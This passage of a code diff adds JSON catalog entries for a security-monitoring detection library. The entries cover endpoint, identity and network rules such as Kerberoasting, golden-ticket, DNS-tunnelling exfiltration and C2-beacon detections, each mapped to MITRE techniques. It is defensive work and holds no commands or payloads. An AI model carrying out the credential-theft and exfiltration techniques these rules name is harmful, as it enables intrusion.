before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.002"+ ],+ "log_source": "macos",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-osascript-spawn.yaml"+ },+ {+ "id": "det-endpoint-034",+ "type": "detection",+ "name": "macOS Gatekeeper Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Gatekeeper Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1553.001"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-gatekeeper-disabled.yaml"+ },+ {+ "id": "det-endpoint-035",+ "type": "detection",+ "name": "macOS Quarantine Attribute Stripped",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Quarantine Attribute Stripped'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1553.001"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-codesign-bypass.yaml"+ },+ {+ "id": "det-endpoint-036",+ "type": "detection",+ "name": "Browser Extension Installed Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Browser Extension Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1176"+ ],+ "log_source": "edr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/browser-extension-installed-suspicious.yaml"+ },+ {+ "id": "det-endpoint-037",+ "type": "detection",+ "name": "USB Mass-Storage Device Attached to Restricted Host",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'USB Mass-Storage Device Attached to Restricted Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1052.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/usb-device-mass-storage-attached.yaml"+ },+ {+ "id": "det-endpoint-038",+ "type": "detection",+ "name": "Remote Management Tool Installed Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Remote Management Tool Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1219"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/rmm-tool-install.yaml"+ },+ {+ "id": "det-endpoint-039",+ "type": "detection",+ "name": "Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1068"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/drivers-loaded-suspicious.yaml"+ },+ {+ "id": "det-endpoint-040",+ "type": "detection",+ "name": "Screen-Capture Tool Use on Sensitive Workstation",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Screen-Capture Tool Use on Sensitive Workstation'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1113"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/screen-capture-tool.yaml"+ },+ {+ "id": "det-identity-001",+ "type": "detection",+ "name": "Authentication Brute-Force Burst",+ "description": "Detects high-frequency failed authentication attempts against a single account, which is a classic indicator of credential-stuffing or password-spraying attempts. Threshold is intentionally conservative to reduce noise.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1110.001"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/brute-force-login.yaml"+ },+ {+ "id": "det-identity-002",+ "type": "detection",+ "name": "Impossible Travel Between Two Authentications",+ "description": "Detects two successful authentication events for the same user from geographically distant locations within a time window that would require travel speeds exceeding 800 km/h. Strong indicator of compromised credentials being shared between attacker and legitimate user.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/impossible-travel.yaml"+ },+ {+ "id": "det-identity-003",+ "type": "detection",+ "name": "Password Spray Across Many Users from Single IP",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Spray Across Many Users from Single IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1110.003"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/password-spray.yaml"+ },+ {+ "id": "det-identity-004",+ "type": "detection",+ "name": "Login from Tor / Anonymous Proxy",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Tor / Anonymous Proxy'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-anonymous-ip.yaml"+ },+ {+ "id": "det-identity-005",+ "type": "detection",+ "name": "Privileged Login Outside Business Hours",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Login Outside Business Hours'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-outside-business-hours.yaml"+ },+ {+ "id": "det-identity-006",+ "type": "detection",+ "name": "Login from Country Outside Allowed Geography",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Country Outside Allowed Geography'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-from-foreign-country.yaml"+ },+ {+ "id": "det-identity-007",+ "type": "detection",+ "name": "Authentication Attempt Against Disabled Account",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication Attempt Against Disabled Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/disabled-account-login-attempt.yaml"+ },+ {+ "id": "det-identity-008",+ "type": "detection",+ "name": "MFA Push Bombing (MFA Fatigue)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Push Bombing (MFA Fatigue)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1621"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/mfa-fatigue.yaml"+ },+ {+ "id": "det-identity-009",+ "type": "detection",+ "name": "MFA Requirement Removed from User Policy",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Requirement Removed from User Policy'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "okta",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/mfa-bypass-policy-change.yaml"+ },+ {+ "id": "det-identity-010",+ "type": "detection",+ "name": "Authentication with Expired Credential",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication with Expired Credential'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1110"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/expired-credential-reuse.yaml"+ },+ {+ "id": "det-identity-011",+ "type": "detection",+ "name": "Service Account Used for Interactive Login",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Service Account Used for Interactive Login'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/service-account-interactive-login.yaml"+ },+ {+ "id": "det-identity-012",+ "type": "detection",+ "name": "Root SSH Login on Production Host",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Root SSH Login on Production Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/root-ssh-login.yaml"+ },+ {+ "id": "det-identity-013",+ "type": "detection",+ "name": "Login with Vendor Default Credentials",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login with Vendor Default Credentials'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/default-credential-login.yaml"+ },+ {+ "id": "det-identity-014",+ "type": "detection",+ "name": "Shared Account Login Spike (Distinct IPs)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Shared Account Login Spike (Distinct IPs)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/shared-account-login-spike.yaml"+ },+ {+ "id": "det-identity-015",+ "type": "detection",+ "name": "Authentication During Active P0/P1 Incident Window",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication During Active P0/P1 Incident Window'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-incident-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-during-incident.yaml"+ },+ {+ "id": "det-identity-016",+ "type": "detection",+ "name": "Privileged Role Assignment",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Role Assignment'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/privileged-role-assignment.yaml"+ },+ {+ "id": "det-identity-017",+ "type": "detection",+ "name": "Just-In-Time Elevation Held Beyond Window",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Just-In-Time Elevation Held Beyond Window'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/jit-elevation-abuse.yaml"+ },+ {+ "id": "det-identity-018",+ "type": "detection",+ "name": "Sudo Used Without MFA",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Sudo Used Without MFA'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1548.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/sudo-no-mfa.yaml"+ },+ {+ "id": "det-identity-019",+ "type": "detection",+ "name": "Active Directory Group Policy Modified",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory Group Policy Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1484.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/group-policy-modification.yaml"+ },+ {+ "id": "det-identity-020",+ "type": "detection",+ "name": "Kubernetes ClusterRoleBinding to cluster-admin",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Kubernetes ClusterRoleBinding to cluster-admin'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/rbac-cluster-admin-binding.yaml"+ },+ {+ "id": "det-identity-021",+ "type": "detection",+ "name": "Defensive IAM Policy Detached",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Defensive IAM Policy Detached'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/iam-policy-detach-defense.yaml"+ },+ {+ "id": "det-identity-022",+ "type": "detection",+ "name": "Domain Password Policy Weakened",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Domain Password Policy Weakened'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1556"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/domain-password-policy-weakened.yaml"+ },+ {+ "id": "det-identity-023",+ "type": "detection",+ "name": "OAuth App Granted Broad Scopes by User",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'OAuth App Granted Broad Scopes by User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/oauth-broad-scope-grant.yaml"+ },+ {+ "id": "det-identity-024",+ "type": "detection",+ "name": "GitHub App Installed with Repo Admin Permission",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'GitHub App Installed with Repo Admin Permission'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "github",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/identity/app-token-broad-default.yaml"+ },+ {+ "id": "det-identity-025",+ "type": "detection",+ "name": "Persistent Session Token Reused from New Device Fingerprint",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Persistent Session Token Reused from New Device Fingerprint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1550.004"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/token-reuse-new-device.yaml"+ },+ {+ "id": "det-identity-026",+ "type": "detection",+ "name": "User Account Creation by Non-Admin Principal",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'User Account Creation by Non-Admin Principal'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1136.001"+ ],+ "log_source": "okta",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/account-creation-by-non-admin.yaml"+ },+ {+ "id": "det-identity-027",+ "type": "detection",+ "name": "Privileged Account Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Account Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1531"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/admin-account-deletion.yaml"+ },+ {+ "id": "det-identity-028",+ "type": "detection",+ "name": "Disabled Account Re-enabled",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Disabled Account Re-enabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/account-enable-after-disable.yaml"+ },+ {+ "id": "det-identity-029",+ "type": "detection",+ "name": "Admin Password Reset Initiated by Self via Self-Service",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Admin Password Reset Initiated by Self via Self-Service'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/self-password-reset-admin.yaml"+ },+ {+ "id": "det-identity-030",+ "type": "detection",+ "name": "Password Reset Out of Business Hours for Privileged Account",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Reset Out of Business Hours for Privileged Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/password-reset-out-of-hours.yaml"+ },+ {+ "id": "det-identity-031",+ "type": "detection",+ "name": "Active Directory Replication Request from Non-Domain-Controller",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory Replication Request from Non-Domain-Controller'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1003.006"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/ad-replication-non-dc.yaml"+ },+ {+ "id": "det-identity-032",+ "type": "detection",+ "name": "Kerberoasting (Service-Ticket Request for SPN)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Kerberoasting (Service-Ticket Request for SPN)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1558.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/kerberoasting.yaml"+ },+ {+ "id": "det-identity-033",+ "type": "detection",+ "name": "AS-REP Roasting (Account with Pre-Auth Disabled)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'AS-REP Roasting (Account with Pre-Auth Disabled)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1558.004"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/asreproasting.yaml"+ },+ {+ "id": "det-identity-034",+ "type": "detection",+ "name": "Golden Ticket Indicator (Anomalous TGT Lifetime)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Golden Ticket Indicator (Anomalous TGT Lifetime)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1558.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/golden-ticket.yaml"+ },+ {+ "id": "det-identity-035",+ "type": "detection",+ "name": "Silver Ticket Indicator (Service Ticket Without TGS Hit)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Silver Ticket Indicator (Service Ticket Without TGS Hit)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1558.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/silver-ticket.yaml"+ },+ {+ "id": "det-identity-036",+ "type": "detection",+ "name": "SAML Response with Mismatched Issuer or Future-Dated NotBefore",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'SAML Response with Mismatched Issuer or Future-Dated NotBefore'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1606.002"+ ],+ "log_source": "okta",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/saml-response-anomaly.yaml"+ },+ {+ "id": "det-identity-037",+ "type": "detection",+ "name": "Federation Trust Relationship Modified",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Federation Trust Relationship Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556.007"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/federated-trust-modified.yaml"+ },+ {+ "id": "det-identity-038",+ "type": "detection",+ "name": "IDP Metadata or Signing Cert Changed",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'IDP Metadata or Signing Cert Changed'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556"+ ],+ "log_source": "okta",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/idp-metadata-changed.yaml"+ },+ {+ "id": "det-identity-039",+ "type": "detection",+ "name": "Conditional Access Policy Scope Broadened (Less Restrictive)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Conditional Access Policy Scope Broadened (Less Restrictive)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/ca-policy-scope-broadened.yaml"+ },+ {+ "id": "det-identity-040",+ "type": "detection",+ "name": "Cross-Tenant Identity Access Granted",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Cross-Tenant Identity Access Granted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1199"+ ],+ "log_source": "azure",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/federation-cross-tenant-access.yaml"+ },+ {+ "id": "det-network-001",+ "type": "detection",+ "name": "C2 Beacon Pattern (Periodic High-Frequency)",+ "description": "Detects highly periodic outbound network connections to a single destination, characteristic of command-and-control (C2) beaconing from implants. Combines both connection count and interval consistency to reduce false positives from telemetry agents.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/c2-beacon-high-frequency.yaml"+ },+ {+ "id": "det-network-002",+ "type": "detection",+ "name": "DNS Tunneling / Exfiltration (High Length Subdomains)",+ "description": "Detects DNS tunnelling activity characterised by abnormally long subdomain labels and high query volume to a single parent domain. Common technique for covert data exfiltration that bypasses egress filtering on standard ports.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1048.003"+ ],+ "log_source": "dns",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-data-exfiltration.yaml"+ },+ {+ "id": "det-network-003",+ "type": "detection",+ "name": "Internal Network Port Scan",+ "description": "Detects horizontal and vertical port scanning activity originating from inside the network. Often the first sign of an attacker performing reconnaissance after gaining initial foothold.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1046"+ ],+ "log_source": "ndr",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/port-scan-internal.yaml"+ },+ {+ "id": "det-network-004",+ "type": "detection",+ "name": "SSH Brute-Force From Internet",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SSH Brute-Force From Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1110.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/network/ssh-failed-from-internet.yaml"+ },+ {+ "id": "det-network-005",+ "type": "detection",+ "name": "SMB Lateral Movement (Many ADMIN$ Connections)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Lateral Movement (Many ADMIN$ Connections)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1021.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-lateral-movement.yaml"+ },+ {+ "id": "det-network-006",+ "type": "detection",+ "name": "RDP 